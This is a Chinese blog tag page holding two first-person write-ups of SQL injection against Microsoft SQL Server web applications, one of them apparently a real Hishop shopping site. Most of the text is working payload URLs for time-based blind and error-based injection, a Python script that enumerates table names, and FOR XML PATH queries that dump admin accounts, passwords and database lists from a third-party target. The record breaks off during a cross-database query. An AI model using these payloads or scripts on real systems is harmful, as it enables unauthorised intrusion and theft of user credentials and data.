Tag:mssql

Tag (mssql)'s result:

又一次mssql注入历程

//记一次mssql注入历程 0x00 前置知识 先梳理连接数据库用户名,当前数据库用户名,数据库服务器角色,数据库角色的概念   数据库用户名 user—连接数据库用户名(登录名) –user() user_name()—连接数据库用户名(登录名) suser_sname()—当前数据库用户名 system_user—当前数据库用户名 如果看到dbo 那么多半当前数据库的用户是dba权限。   数据库服务器角色 ?id=8 and 1=CONVERT(int,(SELECT is_srvrolemember(‘sysadmin’)))– ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘sysadmin’));– ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘serveradmin’));– ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘setupadmin’));– ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘securityadmin’));– ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘diskadmin’));– ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘bulkadmin’));– 固定服务器角色 固定服务器角色具有一组固定的权限,并且适用于整个服务器范围。 它们专门用于管理 SQL Server,且不能更改分配给它们的权限。 可以在数据库中不存在用户帐户的情况下向固定服务器角色分配登录。 说    明 Sysadmin sa登录永远是固定服务器角色syadmin中的成员,并且不能从该角色中删除 执行SQL Server中的任何动作   serveradmin 配置服务器设置   setupadmin 安装复制和管理扩展过程   securityadmin 管理登录和CREATE DATABASE的权限以及阅读审计   processadmin 管理SQL Server进程   dbcreator 创建和修改数据库   diskadmin 管理磁盘文件   数据库角色 ?id=1 and 1=(SELECT IS_MEMBER(‘db_owner’));–   固定数据库角色 固定数据库角色具有一组预定义的权限,这些权限旨在允许您轻松管理权限组。 db_owner 角色的成员可对数据库执行所有配置和维护活动。   说    明 db_owner 可以执行数据库中技术所有动作的用户   db_accessadmin 可以添加、删除用户的用户   db_datareader 可以查看所有数据库中用户表内数据的用户   db_datawriter 可以添加、修改或删除所有数据库中用户表内数据的用户   db_ddladmin 可以在数据库中执行所有DDL操作的用户   db_securityadmin 可以管理数据库中与安全权限有关所有动作的用户   db_backoperator 可以备份数据库的用户(并可以发布DBCC和CHECKPOINT语句,这两个语句一般在备份前都会被执行)   db_denydatareader 不能看到数据库中任何数据的用户   db_denydatawriter 不能改变数据库中任何数据的用户   要使用数据库对象,必须将登录映射到数据库用户帐户。 dbo 或数据库所有者是具有在数据库中执行所有活动的默示权限的用户帐户。 sysadmin 固定服务器角色的成员会自动映射到 dbo   数据库登录名-数据库服务器角色(sa-sysadmin) 当前数据库用户名-数据库角色(dbo-db_owner) 一般sa-dbo   SQLSERVER就象一栋大楼,里面的每个房间都是一个数据库.登录名只是进入大楼的钥匙,而用户名则是进入房间的钥匙.一个登录名可以有多 个房间的钥匙.SQLSERVER把登录名与用户名的关系称为映射. —忘记出自哪篇文章了,比较形象。   0x01 起源 时间盲注 dbo用户   这下应该没啥曲折吧 继续开存储过程弹shell看看 没反应…….盲注爆数据太慢,算了收工。 猜测第一个表长度 http://www.xxx.com/Newslist.aspx?classid=2;if(select%20count(*)%20from%20sysobjects%20where%20name%20in%20(select%20top%201%20name%20from%20sysobjects%20where%20xtype=’u’)%20And%20(len(name))>11)=1%20waitfor%20delay%20’0:0:2’%20–   猜测第一个表第一个字母 http://www.xxx.com/Newslist.aspx?classid=2;if(select%20count(*)%20from%20sysobjects%20where%20name%20in%20(select%20top%201%20name%20from%20sysobjects%20where%20xtype=’u’)%20And%20ascii(substring(name,1,1))=75)=1%20waitfor%20delay%20’0:0:2’%20–   以此类推 猜列名 .aspx?id=1′;if(Ascii(substring((select top 1 column_name from information_schema.columns where table_name=’admin’),1,1)))>80 ‘0:0:5’%20–%20 猜密码 .aspx?id=1′;if(ascii(substring((select top 1 Password from admin),1,1)))>1 waitfor delay ‘0:0:5’%20–%20   0x02 参考资料 https://blog.csdn.net/e_online/article/details/4597957

记一次mssql注入历程

0x00 发现 目标使用hishop,查看历史漏洞发现一处注入: http://mall.xxx.com.cn/user/UserRefundApply?OrderId=%27%20and%20(select%20@@version)%3E0%20and%20%271%27=%271   db_name():xxxshop017 user:xxxx017 @@servername:XXXSHOP   0x01 郁闷的爆表名 那就开始爆xxxshop017的表吧 http://mall.xxx.com.cn/user/UserRefundApply?OrderId=%27%20and%20(select%20top%201%20name%20from%20sysobjects%20where%20xtype=%27u%27%20and%20name%20not%20in%20(%27Hishop_HelpCategories%27))%3E0%20and%20%271%27=%271 /× 也可以利用information_schema爆表 http://mall.xxx.com.cn/user/UserRefundApply?OrderId=%27%20and%201=(select%20top%201%20table_name%20from%20information_schema.tables%20);– ×/ 写个脚本跑表 #coding:utf-8 #Author:LSA #Description:hishop sqli for /user/UserRefundApply?OrderId= #Date:20190701 import sys import requests from bs4 import BeautifulSoup import re headers = { ‘Cookie’: ”, ‘User-Agent’: ‘Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36’ } global tables_name tables_name = “‘Hishop_HelpCategories'” #print tables_name def brute_tables(url): for i in range(0,300): url = ‘http://mall.xxx.com.cn/user/UserRefundApply?OrderId=%27%20and%20(select%20top%201%20name%20from%20sysobjects%20where%20xtype=%27u%27%20and%20name%20not%20in%20(‘ + tables_name + ‘))%3E0%20and%20%271%27=%271’ print url rsp = requests.get(url,headers=headers) soup = BeautifulSoup(rsp.text,”lxml”) title = soup.title.string #print title table_name = re.findall(r”‘(.*?)'”,title) #print table_name[0] global tables_name tables_name = tables_name + ‘,\” + table_name[0] + ‘\” #print tables_name print tables_name def main(url): brute_tables(url) if __name__ == ‘__main__’: url = ‘http://mall.xxx.com.cn/user/UserRefundApply?OrderId=%27%20and%20(select%20top%201%20name%20from%20sysobjects%20where%20xtype=%27u%27%20and%20name%20not%20in%20(‘ + tables_name + ‘))%3E0%20and%20%271%27=%271’ main(url) 郁闷开始了,竟然报错了! 经测试,是因为url长度超过2093返回404了,利用burp和chrome都是相同情况,目标系统iis8.5+.net4,在使用相同hishop的另外一个网站(iis7.5)测试不会404…… 猜测可能是运维修改了IIS最大url长度,但是可能性非常低! 无奈,利用xml path爆吧 利用xml path()爆所有表 http://mall.xxx.com.cn/user/UserRefundApply?OrderId=%27%20and%201=convert(int,(select%20quotename(name)%20from%20xxxshop017..sysobjects%20where%20xtype=%27U%27%20FOR%20XML%20PATH(%27%27)))%20and%20%271%27=%271   由于表名太多,最后出现省略号,无法爆完所有表。   那就利用not in分两次爆,把第一次用xml path爆出来的表名加入not in。 http://mall.xxx.com.cn/USER/UserRefundApply?OrderId=%27%20and%201=CONVERT(INT,(select%20quotename(name)%20from%20xxxshop017..sysobjects%20where%20xtype=%27U%27%20and%20name%20not%20in%20(%27Hishop_HelpCategories%27,%27Hishop_Hotkeywords%27,%27Hishop_OrderDailyStatistics%27,%27Hishop_CountDownSku%27,%27Hishop_Helps%27,%27Hishop_NavMenu%27,%27Hishop_Gifts%27,%27Hishop_ProductConsultations%27,%27Hishop_MessageTemplates%27,%27CustomMade_Logs%27,%27Hishop_FriendlyLinks%27,%27Hishop_ProductAttributes%27,%27Hishop_MessageContent%27,%27Hishop_FightGroupActivities%27,%27Hishop_PointDetails%27,%27Hishop_MemberMessageBox%27,%27Hishop_FavoriteTags%27,%27Hishop_InpourRequest%27,%27Hishop_ExpressTemplates%27,%27Hishop_ManagerMessageBox%27,%27Hishop_SKUMemberPrice%27,%27Hishop_EmailQueue%27,%27Hishop_SKUItems%27,%27Hishop_DeliveryScope%27,%27Hishop_MenuClickRecords%27,%27Hishop_UserShippingAddresses%27,%27Hishop_DailyAccessStatistics%27,%27Hishop_Logs%27,%27Hishop_ShoppingCarts%27,%27Hishop_Coupons%27,%27Hishop_IntegrationSettings%27,%27Hishop_ProductPreSale%27,%27Hishop_GiftShoppingCarts%27,%27Hishop_PhotoGallery%27,%27Hishop_PromotionRegions%27,%27Hishop_ProductDailyAccessStatistics%27,%27Hishop_Favorite%27,%27Hishop_PhotoCategories%27,%27Hishop_MarketingImages%27,%27Hishop_PhoneCodeIPs%27,%27Hishop_PhoneCodeEveryDayTimes%27,%27Hishop_PrivilegeInRoles%27,%27aspnet_Referrals%27,%27Hishop_PaymentTypes%27,%27Hishop_ProductSpecificationImages%27,%27aspnet_MemberOpenIds%27,%27Hishop_Orders%27,%27Hishop_Products%27,%27Hishop_BalanceDrawRequest%27,%27aspnet_Roles%27,%27Hishop_Shippers%27,%27Hishop_BalanceDetails%27,%27ChangeStockLog%27,%27Hishop_Service%27,%27aspnet_MemberGrades%27,%27Hishop_RelatedProducts%27,%27aspnet_OpenIdSettings%27,%27Custom_Etickets%27,%27Hishop_RelatedArticsProducts%27,%27aspnet_MemberWXShoppingGuider%27,%27Hishop_Regions%27,%27aspnet_MemberWXReferral%27,%27Custom_EticketsResult%27,%27Hishop_RedEnvelopeSendRecord%27,%27aspnet_MemberTags%27,%27Hishop_RedEnvelopeGetRecord%27,%27Hishop_CombinationBuySKU%27)FOR%20XML%20PATH(%27%27)))%20and%20%271%27=%271       0x02 获取列名和数据 判断管理员帐号密码可能在 aspnet_Members或aspnet_Managers这两个表中 先看aspnet_Members http://mall.xxx.com.cn/user/UserRefundApply?OrderId=%27%20and%201=(select%20top%201%20*%20from%20xxxshop017..aspnet_Members%20FOR%20XML%20PATH(%27%27))–   得到帐号admin密码xxx2018@ 利用where、not in可以获取多个数据 有些帐号的密码经过了加密(疑似RSA) <Password>dNPQ/7vfChaeOmCL7Wb8mRmRq9U=</Password><PasswordSalt>5pk/VC1CM8ARImoqpquGpg==</PasswordSalt> 再看看aspnet_Managers http://mall.xxx.com.cn/user/UserRefundApply?OrderId=%27%20and%201=(select%20top%201%20*%20from%20xxxshop017..aspnet_Managers%20FOR%20XML%20PATH(%27%27))–   密码base16/32/64无法解密 疑似经过了rsa加密。   利用admin xxx2018@登录失败。 猜测可能是数据库不对,尝试爆所有数据库。 利用xml paht()爆所有库 http://mall.xxx.com.cn/USER/UserRefundApply?OrderId=%27%20and%20(select%20quotename(name)%20from%20master..sysdatabases%20FOR%20XML%20PATH(%27%27))%3E0%20and%20%271%27=%271   得到可能存在帐号密码的数据库(域名是mall) [xxxmall] 尝试跨库查询 http://mall.xxx.com.cn/user/UserRefundApply?OrderId=%27%20and%201=convert(int,(select%20quotename(name)%20from%20xxxmall..sysobjects%20where%20xtype=%27U%27%20FOR%20XML%20PATH(%27%27)))%20and%20%271%27=%271……